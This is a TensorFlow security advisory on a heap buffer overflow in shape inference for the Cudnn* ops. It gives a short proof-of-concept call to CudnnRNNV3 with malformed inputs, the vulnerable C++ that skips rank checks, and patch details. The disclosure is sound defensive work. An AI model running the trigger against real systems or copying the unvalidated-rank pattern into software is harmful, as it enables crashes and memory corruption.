Access to invalid memory during shape inference in `Cudnn*` ops
Impact
The shape inference code for the Cudnn*
operations in TensorFlow can be tricked into accessing invalid memory, via a heap buffer overflow:
import tensorflow as tf
@tf.function
def func():
return tf.raw_ops.CudnnRNNV3(
input=[0.1, 0.1],
input_h=[0.5],
input_c=[0.1, 0.1, 0.1],
params=[0.5, 0.5],
sequence_lengths=[-1, 0, 1])
func()
This occurs because the ranks of the input
, input_h
and input_c
parameters are not validated, but code assumes they have certain values:
auto input_shape = c->input(0);
auto input_h_shape = c->input(1);
auto seq_length = c->Dim(input_shape, 0);
auto batch_size = c->Dim(input_shape, 1); // assumes rank >= 2
auto num_units = c->Dim(input_h_shape, 2); // assumes rank >= 3
Patches
We have patched the issue in GitHub commit af5fcebb37c8b5d71c237f4e59c6477015c78ce6.
The fix will be included in TensorFlow 2.7.0. We will also cherrypick this commit on TensorFlow 2.6.1, TensorFlow 2.5.2, and TensorFlow 2.4.4, as these are also affected and still in supported range.
